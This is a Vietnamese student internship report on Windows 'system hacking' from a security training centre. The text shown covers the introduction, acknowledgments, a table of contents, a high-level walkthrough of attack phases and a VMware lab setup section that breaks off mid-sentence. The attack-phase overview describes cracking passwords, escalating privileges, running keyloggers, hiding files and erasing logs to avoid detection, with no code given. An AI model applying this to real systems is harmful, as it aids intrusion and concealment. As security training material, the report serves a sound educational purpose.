Báo cáo System hacking

47
System Hacking Athena Center SVTH: Huỳnh Dương Khang Trang 1 MỞ ĐẦU Theo thống kê của công ty Bkav, từ đầu năm 2013 đến nay, tại Việt Nam đã có 2.405 website của các cơ quan, doanh nghiệp bị xâm nhập, trung bình mỗi tháng có khoảng 300 website bị tấn công. Ông Vũ Ngọc Sơn, Phó chủ tịch phụ trách Nghiên cứu phát triển của Bkav cho biết, các cơ quan doanh nghiệp bị tấn công gần như là đầy đủ, từ ít nghiêm trọng đến nghiêm trọng và rất nghiêm trọng (nhằm đánh cắp các tài liệu mật) và các mã độc này nhắm cả vào Bộ Công An, Bộ Quốc phòng, ngân hàng, các cơ quan đơn vị nghiên cứu, các doanh nghiệp…Theo nhìn nhận của Bkav, đã có những chiến dịch tấn công, phát tán mã độc có chủ đích vào Việt Nam. Trong đó, bản thân các vụ tấn công trên mạng và các vụ xâm nhập hệ thống công nghệ thông tin là nhằm do thám, trục lợi, phá hoại dữ liệu, ăn cắp tài sản, cạnh tranh không lành mạnh và một số vụ mất an toàn thông tin số khác đang gia tăng ở mức báo động về số lượng, đa dạng về hình thức, tinh vi hơn về công nghệ. Hiện nay, các thiết bị như máy tính PC, laptop, đều có kết nối mạng nội bộ hoặc kết nối Internet . Trên các thiết bị này, hầu hết cài đặt các phần mềm ứng dụng như IE, Microsoft Office, Adobe Reader ,…. và chạy hệ điều hành như Windows XP, Windows 7… Tuy nhiên, các ứng dụng này đều có những lổ hổng mà các hacker có thể xâm nhập và khai thác. Quá trình khai thác diễn ra âm thầm mà hầu hết các nạn nhân không thể nào biết được cho dù thường xuyên update các chương trình diệt virus như nhiều người suy nghĩ Trong thời gian vừa qua, với sự hướng dẫn của trung tâm Athena cùng những tài liệu đã nghiên cứu qua, một phần nào đó tôi đã nắm được các phương pháp mà các hacker (Nói riêng Hacker Việt Nam) hay dùng để xâm nhập hệ thống qua các lổ hổng nêu trên và tổng hợp lại để chúng ta cùng tìm ra phương hướng giải quyết Tôi xin cam kết, kết quả đạt được là do tôi tự thực hiện dưới sự hướng dẫn của thầy Võ Đỗ Thắng

description

Báo cáo thực tập system hacking_ SVTT Huỳnh Dương Khang

Transcript of Báo cáo System hacking

Page 1: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 1

MỞ ĐẦU

Theo thống kê của công ty Bkav, từ đầu năm 2013 đến nay, tại Việt Nam đã

có 2.405 website của các cơ quan, doanh nghiệp bị xâm nhập, trung bình mỗi

tháng có khoảng 300 website bị tấn công. Ông Vũ Ngọc Sơn, Phó chủ tịch phụ

trách Nghiên cứu phát triển của Bkav cho biết, các cơ quan doanh nghiệp bị tấn

công gần như là đầy đủ, từ ít nghiêm trọng đến nghiêm trọng và rất nghiêm trọng

(nhằm đánh cắp các tài liệu mật) và các mã độc này nhắm cả vào Bộ Công An, Bộ

Quốc phòng, ngân hàng, các cơ quan đơn vị nghiên cứu, các doanh nghiệp…Theo

nhìn nhận của Bkav, đã có những chiến dịch tấn công, phát tán mã độc có chủ đích

vào Việt Nam. Trong đó, bản thân các vụ tấn công trên mạng và các vụ xâm nhập

hệ thống công nghệ thông tin là nhằm do thám, trục lợi, phá hoại dữ liệu, ăn cắp

tài sản, cạnh tranh không lành mạnh và một số vụ mất an toàn thông tin số khác

đang gia tăng ở mức báo động về số lượng, đa dạng về hình thức, tinh vi hơn về

công nghệ.

Hiện nay, các thiết bị như máy tính PC, laptop, đều có kết nối mạng nội bộ

hoặc kết nối Internet . Trên các thiết bị này, hầu hết cài đặt các phần mềm ứng

dụng như IE, Microsoft Office, Adobe Reader ,…. và chạy hệ điều hành

như Windows XP, Windows 7…

Tuy nhiên, các ứng dụng này đều có những lổ hổng mà các hacker có thể xâm

nhập và khai thác. Quá trình khai thác diễn ra âm thầm mà hầu hết các nạn nhân

không thể nào biết được cho dù thường xuyên update các chương trình diệt

virus như nhiều người suy nghĩ

Trong thời gian vừa qua, với sự hướng dẫn của trung tâm Athena cùng

những tài liệu đã nghiên cứu qua, một phần nào đó tôi đã nắm được các phương

pháp mà các hacker (Nói riêng Hacker Việt Nam) hay dùng để xâm nhập hệ thống

qua các lổ hổng nêu trên và tổng hợp lại để chúng ta cùng tìm ra phương hướng

giải quyết

Tôi xin cam kết, kết quả đạt được là do tôi tự thực hiện dưới sự hướng dẫn

của thầy Võ Đỗ Thắng

Page 2: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 2

LỜI CẢM ƠN KHOA ĐIỆN TỬ VIỄN THÔNG

TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TPHCM

Em xin chân thành cảm ơn trường Đại Học Khoa Học Tự Nhiên TPHCM và

khoa Điện Tử Viễn Thông đã tạo điều kiện cho em hoàn thành tốt đợt Thực Tập

này. Trong đợt thực tập này đã cho em những kinh nghiệm quý báu. Những kinh

nghiệm này sẽ giúp Em hoàn thiện hơn trong công việc và môi trường làm việc

sau này.

Mặc dù em đã cố gắng hoàn thành báo cáo thực tập này với tất cả nổ lực của

bản thân. Nhưng do trình độ hiểu biết và kinh nghiệm thực tế có hạn nên chắc

chắn không thể tránh khỏi những thiếu sót nhất định. Em rất mong nhận được sự

đóng góp, chia sẻ để em có thể làm tốt hơn nữa.

Một lần nữa em xin chân thành cảm ơn.

TPHCM, ngày 22 tháng 10 năm 2014

Sinh viên thực tập

Huỳnh Dương Khang

Page 3: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 3

LỜI CẢM ƠN TRUNG TÂM ATHENA

Em xin cảm ơn giám đốc Trung Tâm Quản Trị Mạng và An Ninh Mạng Quốc

Tế Athena, cùng các anh chị trong trung tâm. Đặc biệt, em xin chân thành cảm ơn

thầy Võ Đỗ Thắng đã nhiệt tình giúp đỡ và hướng dẫn em trong suốt thời gian

thực tập. Thầy đã tạo mọi điều kiện thuận lợi, cung cấp nhũng kiến thức cần thiết

cũng như đóng góp những ý kiến quý báu để hoàn thành tốt bài báo cáo này.

Em cũng xin gửi lời cám ơn đến các anh chị, bạn bè đã truyền đạt kinh

nghiệm và tạo điều kiện cho em hoàn thành đề tài này.

Trong quá trình thực hiện đề tài không thể không có những sai sót, mong

thầy cô tại trung tâm ATHENA và các bạn thẳng thắn góp ý đề em rút kinh nghiệm

trong các công trình tìm hiểu, phát triển sau này.

Một lần nữa em xin chân thành cảm ơn.

TPHCM, ngày 22 tháng 10 năm 2014

Sinh viên thực tập

Huỳnh Dương Khang

Page 4: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 4

GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC TẬP

Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được

thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng

động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần

vào công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế mũi

nhọn, góp phần phát triển nước nhà

Lĩnh vực hoạt động chính:

– Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên

sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế

của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song

đó, trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành

riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , ngân

hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính..

– Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung

tâm ATHENA đã là chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh

mạng cho nhiều bộ ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ

Công An, Sở Thông Tin Truyền Thông các tỉnh, bưu điện các tỉnh,…

– Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương

trình hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa

Thành Phố Hồ CHính Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu

Chính Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự ,...

Đội ngũ giảng viên :

– Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường

đại học hàng đầu trong nước .... Tất cả giảng viên ATHENA đều phải có các chứng

chỉ quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc

tế (Microsoft Certified Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ

điều kiện tham gia giảng dạy tại trung tâm ATHENA

Page 5: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 5

– Bên cạnh đó,Các giảng viên ATHENA thường đi tu nghiệp và cập nhật

kiến thức công nghệ mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan, Singapore,...

và truyền đạt các công nghệ mới này trong các chương trình đào tạo tại trung tâm

ATHENA

Liên hệ:

– Cơ sở 1:

92 Nguyễn Đình Chiểu, phường Đa Kao, Q1, TPHCM

Điện thoại: 0907879477

0943230099

(08)38244041

Gần ngã tư Đinh Tiên Hoàng - Nguyễn Đình Chiểu

– Cơ sở 2: 2 Bis Đinh Tiên Hoàng, phường Đa Kao, Q1, TPHCM

Điện thoại: 0943200088

(08)22103801

Cạnh sân vận động Hoa Lư - Cách đài truyền hình Tp HTV 50 mét

– Website: http://athena.edu.vn

http://athena.com.vn

– E-mail : [email protected]

[email protected]

Page 6: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 6

NHẬN XÉT CỦA KHOA

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

TPHCM, ngày ... tháng ... năm 2014

Page 7: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 7

NHẬN XÉT CỦA CÔNG TY THỰC TẬP

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

TPHCM, ngày ... tháng ... năm 2014

Giám đốc

Page 8: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 8

NHẬN XÉT CỦA GIẢNG VIÊN HƯỚNG DẪN

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

...........................................................................................................................................................................

TPHCM, ngày ... tháng ... năm 2014

Giảng viên hướng dẫn

Page 9: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 9

MỤC LỤC

MỞ ĐẦU ......................................................................................................................... 1

LỜI CẢM ƠN TRUNG TÂM ATHENA ....................................................................... 3

GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC TẬP ....................................................... 4

NHẬN XÉT CỦA KHOA ............................................................................................... 6

NHẬN XÉT CỦA CÔNG TY THỰC TẬP .................................................................... 7

NHẬN XÉT CỦA GIẢNG VIÊN HƢỚNG DẪN ......................................................... 8

PHẦN 1: GIỚI THIỆU .................................................................................................. 11

1. Giới thiệu về System hacking ................................................................................ 11

2. Các lỗ hổng thƣờng khai thác trong hệ điều hành Windows ................................ 11

3. Quá trình tấn công vào một hệ thống .................................................................... 13

PHẦN 2: TIẾN TRÌNH NGHIÊN CỨU VÀ THỰC HÀNH ....................................... 15

Chƣơng 1: VMware và ảo hóa hệ điều hành ......................................................... 15

1. Giới thiệu VMware ................................................................................................ 15

2. Khái quát về VMware và máy ảo .......................................................................... 16

Chƣơng 2: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM NHẬP

TRONG MẠNG LAN ........................................................................................... 19

1. Hệ điều hành Backtrack 5 R3 ................................................................................ 19

2. Phần mềm Metasploit ............................................................................................ 20

Sử dụng Metasploit Framework: ............................................................................... 21

2.1 Chọn module exploit: Lựa chọn chƣơng trình, dịch vụ lỗi mà Metasploit

có hỗ trợ để khai thác ............................................................................................ 21

2.2 Cấu hình Module exploit đã chọn: .................................................................. 22

2.3 Verify những options vừa cấu hình: ................................................................ 22

2.4 Lựa chọn target: ............................................................................................... 22

2.5 Lựa chọn payload: ........................................................................................... 22

2.6 Thực thi exploit: .............................................................................................. 22

3. Sơ đồ tổng quan hệ thống mạng LAN ................................................................... 23

4. Xâm nhập và khai thác Windows XP .................................................................... 24

4.1 Khai thác lổ hỏng Ms10-042 ........................................................................... 24

4.2 Khai thác lổ hỏng Ms12-004 ........................................................................... 28

Page 10: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 10

4.3 Khai thác lổ hỏng file PDF qua Adobe Reader 9.x ......................................... 29

4.4 Khai thác lỗ hỏng Ms12-027 ........................................................................... 34

4.5 Khai thác thông tin sau khi đã tấn công: ......................................................... 38

Chƣơng 3: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP LỖ

HỔNG TỪ XA QUA MẠNG INTERNET ............................................................... 40

1. Máy Chủ Ảo (VPS) ............................................................................................... 40

1.1 Định nghĩa ....................................................................................................... 40

1.2 Đặc điểm về thông số VPS .............................................................................. 40

2. Honeypot ............................................................................................................... 41

3. Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet ................... 41

4. Tấn công qua Internet ............................................................................................ 42

4.1 Các lỗi bảo mật: ............................................................................................... 42

4.2 Cách tấn công: ................................................................................................. 44

4.3 Phƣơng pháp khắc phục lỗ hổng ..................................................................... 45

PHẦN 3: TỔNG KẾT ................................................................................................... 46

DANH MỤC TÀI LIỆU THAM KHẢO ...................................................................... 47

Page 11: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 11

PHẦN 1: GIỚI THIỆU

1. Giới thiệu về System hacking

System hacking bao gồm những kỹ thuật lấy username, password dựa vào

phần mềm cài trên hệ thống hoặc tính dễ cài đặt và chạy các dịch vụ từ xa của hệ

điều hành Windows. Nâng quyền trong hệ thống, sử dụng keyloger để lấy thông

tin, xóa những log file hệ thống. Một khi đã xâm nhập vào hệ thống, Hacker có thể

thực hiện mọi thứ trên máy tính đó, gây ra những hậu quả vô cùng nghiêm trọng

cho các cá nhân, tổ chức.

2. Các lỗ hổng thường khai thác trong hệ điều hành Windows

Như chúng ta đã biết, Windows là hệ điều hành phổ biến và được sử dụng

rộng rãi nhất trên thế giới hiện nay. Và với việc được tạo nên bằng một cấu trúc

lệnh có thể nói khổng lồ như vậy thì việc sai sót lỗi sẽ là chuyện không tránh khỏi.

Việc chiếm lĩnh hàng đầu của hệ điều hành này cũng là nguyên nhân khiến các

hacker tìm kiếm những lổ hỏng bảo mật để tấn công nhằm kiểm soát hay đánh

cắp thông tin

Hiện nay các lỗ hổng bảo mật được phát hiện càng nhiều trong các hệ điều

hành, các Web Server hay các phần mềm khác, ... Và các hãng sản xuất luôn cập

nhật các lỗ hổng và đưa ra các phiên bản mới sau khi đã vá lại các lỗ hổng của các

phiên bản trước. Và luôn theo một trình tự

1.Xuất hiện một lỗ hổng có thể bị khai thác bằng các công nghệ hiện có.

2.Kẻ tấn công phát hiện lỗ hổng.

3.Kẻ này lập tức tiến hành viết và phát tán công cụ khai thác lỗ hổng này.

4.Hãng sản xuất đồng thời phát hiện lỗi và lập tức tìm cách sửa chữa

5.Lỗ hổng được công bố ra ngoài

6.Các phần mềm anti-virus được cập nhật thông tin để phát hiện khi có các

đoạn mã tìm cách khai thác lỗ hổng này

Page 12: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 12

7.Hãng sản xuất hoàn thành bản vá

8.Hãng hoàn tất phát hành bản vá lỗi đến tất cả khách hàng

Do đó, người sử dụng phải luôn cập nhật thông tin và nâng cấp phiên bản cũ

mà mình đang sử dụng nếu không các Hacker sẽ lợi dụng điều này để tấn công vào

hệ thống. Bên cạnh đó nhà sản xuất tìm kiếm những nhân tài máy tính để giúp

những thiết bị máy tính sử dụng tránh được các cuộc tấn công mạng, virus cũng

như tìm kiếm được khe hở lớn làm cản trở nguy cơ máy tính bị tấn công. Nếu lỗi

đủ lớn và có tầm ảnh hưởng rộng. Tuy nhiên, một sự thật là các mối đe dọa mạng

vẫn đang ngày càng phát triển nhanh hơn so với chu trình cập nhật và đổi mới

Tội phạm mạng thường sử dụng các lỗ hổng trong các mã chương trình để

truy cập vào các dữ liệu và tài nguyên trên máy tính bị lỗi bảo mật. Các chương

trình độc hại được thiết kế đặc biệt để khai thác các lỗ hổng này, được gọi là kỹ

thuật exploit, đang ngày càng phổ biến nhanh chóng.

Ngoài các nguyên nhân chủ quan như sự bất cẩn khi sử dụng của người dùng

(click vào đường link lạ, download các phần mềm độc hại), các lỗi này là một

trong những khe hở chính mà tin tặc thường tập trung khai thác để xâm nhập vào

các hệ thống máy móc – từ các máy chủ đến các máy cá nhân của người dùng cuối.

Nếu lỗ hổng này thuộc về một phần mềm không phổ biến, chỉ phục vụ vài tác vụ

đơn giản và không có vai trò quan trọng trong hệ thống, hiển nhiên hiểm họa về

bảo mật vẫn có nhưng không nghiêm trọng. Nhưng hệ thống phần mềm càng

phức tạp, đồ sộ thì hiển nhiên việc kiểm soát sự xuất hiện của những lỗi này càng

khó – bất kể các kĩ sư thiết kế có trình độ cao đến đâu. Và chính những phần mềm

này lại thường chiếm vai trò chủ chốt, cũng như tác động đến nhiều ngóc ngách

của hệ thống. Nhờ len lỏi qua kẽ hở tạo ra bởi lỗi của những phần mềm này, kẻ

xấu có thể thực hiện những thay đổi nhất định lên máy móc của người dùng, hay

nắm được quyền điều khiển, truy cập các thông tin nhạy cảm.

Những sản phẩm của Microsoft thường gặp phải các lỗ hổng bảo mật như

HĐH Windows, Internet Explorer, Windows Server, Microsoft Exchange và

.NetFramework.

Page 13: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 13

3. Quá trình tấn công vào một hệ thống

Trước tiên ta sẽ tìm hiểu tổng quát một quá trình tấn công hệ thống. Mục

tiêu phía trước của chúng ta là một hệ thống máy tính. Các bước để tấn công, đánh

sập nó, có thể được liệt kê như hình vẽ bên cạnh. Nó gồm 6 công đoạn như sau:

Quá trình tấn công vào một hệ thống

– Enumerate (liệt kê): Trích ra tất cả những thông tin có thể về user trong

hệ thống. Sử dụng phương pháp thăm dò SNMP để có được những thông tin hữu

ích, chính xác hơn.

– Crack: Công đoạn này có lẽ hấp dẫn nhiều Hackernhất. Bước này yêu cầu

chúng ta bẽ khóa mật khẩu đăng nhập của user. Hoặc bằng một cách nào khác,

mục tiêu phải đạt tới là quyền truy cập vào hệ thống.

– Escalste (leo thang): Nói cho dễ hiểu là chuyển đổi giới hạn truy cập từ

user binh thường lên admin hoặc user có quyền cao hơn đủ cho chúng ta tấn công.

– Execute (thực thi): Thực thi ứng dụng trên hệ thống máy đích. Chuẩn bị

trước malware, keylogger, rootkit…để chạy nó trên máy tính tấn công.

Page 14: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 14

– Hide (ẩn file): Những file thực thi, file soucecode chạy chương trình…

Cần phải được làm ẩn đi, tránh bị mục tiêu phát hiện tiêu diệt.

– Tracks (dấu vết): Tất nhiên không phải là để lại dấu vết. Những thông tin

có liên quan đến bạn cần phải bị xóa sạch, không để lại bất cứ thứ gì. Nếu không

khả năng bạn bị phát hiện là kẻ đột nhập là rất cao.

Tóm lại, quá trình tấn công hệ thống (System hacking) là bước tiếp theo

sau quá trình khảo sát, thu thập thông tin của mục tiêu cần tấn công bằng những

kỹ thuật như Footprinting, Social engineering, Enumeration, Google Hacking… đã

được áp dụng cho mục đích truy tìm thông tin.

Khi hệ thống mục tiêu đã được xác định, chúng ta bắt đầu đi vào quá trình

tấn công hệ thống thật sự. Ta phải tiến hành những kỹ thuật khác nhau để làm sao

vào được trong hệ thống đó, thực hiện những việc mà mình mong muốn, như xóa

dữ liệu, chạy chương trình trojan, keylogger…

Page 15: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 15

PHẦN 2: TIẾN TRÌNH NGHIÊN CỨU VÀ THỰC HÀNH

Chương 1: VMware và ảo hóa hệ điều hành

1. Giới thiệu VMware

VMware Workstation là một phần mềm ảo hóa desktop mạnh mẽ dành cho

các nhà phát triển/kiểm tra phần mềm và các chuyên gia IT cần chạy nhiều HĐH

một lúc trên một máy PC. Người dùng có thể chạy các HĐH Windows, Linux,

Netware hay Solaris x86 trên các máy ảo di động mà không cần phải khởi động lại

hay phân vùng ổ cứng. VMware Workstation cung cấp khả năng hoạt động tuyệt

vời và nhiều tính năng mới như tối ưu hóa bộ nhớ và khả năng quản lý các thiết

lập nhiều lớp. Các tính năng thiết yếu như mạng ảo, chụp ảnh nhanh trực tiếp, kéo

thả, chia sẻ thư mục và hỗ trợ PXE khiến VMware Workstation trở thành công cụ

mạnh mẽ nhất và không thể thiếu cho các nhà doanh nghiệp phát triển tin học và

các nhà quản trị hệ thống.

Với hàng triệu khách hàng và hàng loạt các giải thưởng quan trọng, VMware

Workstation đã được chứng minh là một công ghệ giúp tăng năng suất và sự linh

họat trong công việc. Đây là một công cụ không thể thiếu cho các nhà phát triển

phần mềm và các chuyên gia IT trên toàn thế giới.

VMware Workstation họat động bằng cách cho phép nhiều HĐH và các ứng

dụng của chúng chạy đồng thời trên một máy duy nhất. Các HĐH và ứng dụng này

được tách ra vào trong các máy ảo. Những máy ảo này cùng tồn tại trên một phần

cứng duy nhất. Các layer ảo của VMware sẽ kết nối các phần cứng vật lý với các

máy ảo, do đó mỗi máy ảo sẽ có CPU, bộ nhớ, các ổ đĩa, thiết bị nhập/xuất riêng.

Các tính năng cho người dùng

– Thiết lập và thử nghiệm các ứng dụng đa lớp, cập nhật ứng dụng và các

miếng vá cho HĐH chỉ trên một PC duy nhất.

– Dễ dàng phục hồi và chia sẻ các môi trường thử nghiệm được lưu trữ;

giảm thiểu các thiết lập trùng lặp và thời gian thiết lập.

Page 16: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 16

– Làm cho việc học tập trên máy tính thuận lợi hơn do sinh viên luôn đuợc

sử dụng máy với tình trạng “sạch sẽ” và thử nghiệm với nhiều HĐH, ứng dụng cá

các công cụ trên những máy ảo an tòan và độc lập.

– Chạy các bản demo phần mềm với các thiết lập phức tạp hoặc đa lớp

trên một chiếc laptop

– Tăng tốc độ giải quyết các rắc rối của người dùng cuối dựa trên một thư

viện các máy ảo được thiết lập sẵn

Những tính năng chính:

– Hỗ trợ nhiều màn hình: Bạn có thể thiết lập để một VM trải rộng ra

nhiều màn hình, hoặc nhiều VM, với mỗi VM trên một màn hình riêng biệt.

– Hỗ trợ các thiết bị USB 2.0: Bây giờ bạn đã có thể sử dụng các thiết bị

ngọai vi yêu cầu tốc độ làm việc cao trên VM, như máy MP3 và các thiết bị lưu trữ

di động khác

– VM Record/Replay: Bạn có thể sử dụng tính năng này để thu lại các hoạt

động của VM và được đảm bảo là sẽ tái lập lại tình trạng của VM chính xác 100%.

– Integrated Virtual Debugger: Workstation được tích hợp Visual Studio

và Eclipse nên bạn có thể trực tiếp sử dụng, chạy và vá các lỗ hổng của các chương

trình trong một VM từ một IDE yêu thích

– Automation APIs (VIX API 2.0): Bạn có thể viết script hay chương trình

để VM tự động thực hiện việc kiểm tra.

2. Khái quát về VMware và máy ảo

a. Các tiện ích của VMware:

VMware giúp giả lập máy tính ảo trên một máy tính thật. Khi cài đặt VMware

lên, ta có thể tạo nên các máy ảo chia sẻCPU, RAM, Card mạng với máy tính thật.

Điều này cho phép xây dựng nên một hệ thống với một vài máy tính được nối với

nhau theo một mô hình nhất định, người sử dụng có thể tạo nên hệ thống của

riêng mình, cấu hình theo yêu cầu của bài học.

b. Cách tạo nên các máy ảo từ VMware:

Để sử dụng VMware đầu tiên chúng ta cần tạo nên một máy ảo, nơi mà chúng

Page 17: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 17

ta sẽ dùng để cài đặt nên các hệ điều hành. Chúng ta có thể tuỳ chọn dung lượng ổ

cứng, dung lượng RAM, cách kết nối mạng của máy ảo… Việc tiếp theo cần làm là

cài đặt nên một hệ điều hành trên máy ảo đó. Hiện tại, VMware hỗ trợ cài đặt rất

nhiều dạng hệ điều hành. Chúng ta có thể cài các phiên bản của Windows, Linux,

Unix… trên các máy ảo VMware. Việc cài đặt hệ điều hành trên máy ảo hoàn toàn

tương tự như cách cài đặt trên các máy thật

c. Chia sẻ tài nguyên của các máy ảo:

Chia sẻ CPU và RAM: Các máy ảo sẽ chia sẻ CPU và RAM của máy tính thật. Để

đảm bảo hệ thống có thể chạy tốt, yêu cầu máy tính thật phải có cấu hình tương

đối cao, khoảng 1GB RAM để có thể chạy đồng thời 4, 5 máy ảo.

Chia sẻ ổ cứng: Khi tạo ra các máy ảo, chúng ta sẽ tạo ra một ổ cứng dành riêng

cho máy ảo nằm trên máy thật. Ổ cứng ảo này được tạo trên vùng đĩa trống của ổ

đĩa thật, do đó không ảnh hưởng đến các dữ liệu đang có trên ổ đĩa thật. Chúng ta

có thể tuỳ chọn dung lượng của ổ cứng này, có thể ấn định ngay dung lượng hoặc

cũng có thể để dung lượng của ổ cứng này là động, sẽ thay đổi tuỳ theo quá trình

sử dụng của chúng ta sau này

Chia sẻ card mạng: Sau khi cài đặt lên, VMware sẻ tạo nên 2 card mạng

VMware 1 và VMware 8 trên máy thật và máy thật có thể sử dụng 2 card mạng

này để kết nối với các máy ảo. Khi lựa chọn cấu hình mạng cho các máy ảo, ta có

thể chọn một trong các chế độ sau:

Bridged networking: Card mạng của máy ảo sẽ được gắn trực tiếp với

card mạng của máy thật (sử dụng switch ảo VMnet0). Lúc này, máy ảo sẽ

đóng vai trò như một máy trong mạng thật, có thể nhận IP từ DHCP của

Router vật lý, hoặc đặt IP tĩnh cùng lớp với mạng ngoài để giao tiếp với

các máy ngoài mạng hoặc lên Internet.

NAT: Máy ảo được cấu hình NAT sẽ sử dụng IP của máy thật để giao tiếp

với mạng ngoài. Các máy ảo được cấp địa chỉ IP nhờ một DHCP ảo của

VMware. Lúc này, các máy ảo sẽ kết nối với máy thật qua switch ảo

VMnet8, và máy thật sẽ đóng vai trò NAT server cho các máy ảo.

Page 18: Báo cáo System hacking

System Hacking Athena Center

SVTH: Huỳnh Dương Khang Trang 18

Host-only Networking: Khi cấu hình máy ảo sử dụng host-only

networking, máy ảo sẽ được kết nối với máy thật trong một mạng riêng

thông qua Switch ảo VMnet1. Địa chỉ của máy ảo và máy thật trong mạng

host-only có thể được cấp bởi DHCP ảo gắn liền với Switch ảo Vmnet1

hoặc có thể đặt địa chỉ IP tĩnh cùng dải để kết nối với nhau

Ngoài các kết nối trên, ta có thể sử dụng các switch ảo trong VMware để

kết nối các máy ảo thành một hệ thống như mong muốn. Khi cài đặt lên,

VMware tạo sẵn cho chúng ta 10 Switch ảo từ VMnet0 đến VMnet9.

Ngoài các Switch ảo VMnet0 (dùng cho mạng Bridged Networking),

VMnet8 (dùng cho mạng Nat Networking) và VMnet1 (dùng cho mạng

Host-Only Networking), chúng ta còn 7 Switch ảo khác để thực hiện việc

kết nối các máy ảo. Chúng ta có thể đặt IP động trên các máy nối với các

Switch này để nhận DHCP ảo, hoặc có thể đặt IP tĩnh cùng dải cho các

máy này đảm bảo chúng kết nối được với nhau.

Chia sẻ ổ đĩa CD-ROM: Các máy ảo có thể sử dụng ổ CD-ROM của máy thật.

Ngoài ra, ta có thể dùng một file ISO để đưa vào ổ CD-ROM của máy ảo, lúc này

máy ảo sẽ nhận file ISO giống như một đĩa CD-ROM trong ổ đĩa của mình.

d. Sử dụng Snapshot

Snapshot một máy ảo cho phép ta lưu lại trạng thái của máy ảo tại thời điểm đó.

Snapshot sẽ lưu lại thông tin về ổ cứng, Ram và các Setting trên máy ảo. Sau khi

lưu snapshot, chúng ta có thể quay trở lại trạng thái của máy ảo bất cứ lúc nào.

VMware cho phép chúng ta lưu nhiều snapshot của máy ảo, vì thế người dùng có

thể sử dụng một máy ảo vào nhiều ngữ cảnh khác nhau, tiết kiệm thời gian cho

việc cấu hình. Chẳng hạn với một máy ảo A, trong một bài lab ta muốn nó là một

máy chủ Domain Controller, nhưng trong bài lab khác ta muốn xấy dựng nó thành

một máy chủ ISA. Để giải quyết vấn đề này, chúng ta có thể lưu snapshot của máy

A tại thời điểm nó là domain controller, sau đó cấu hình nó thành một máy chủ
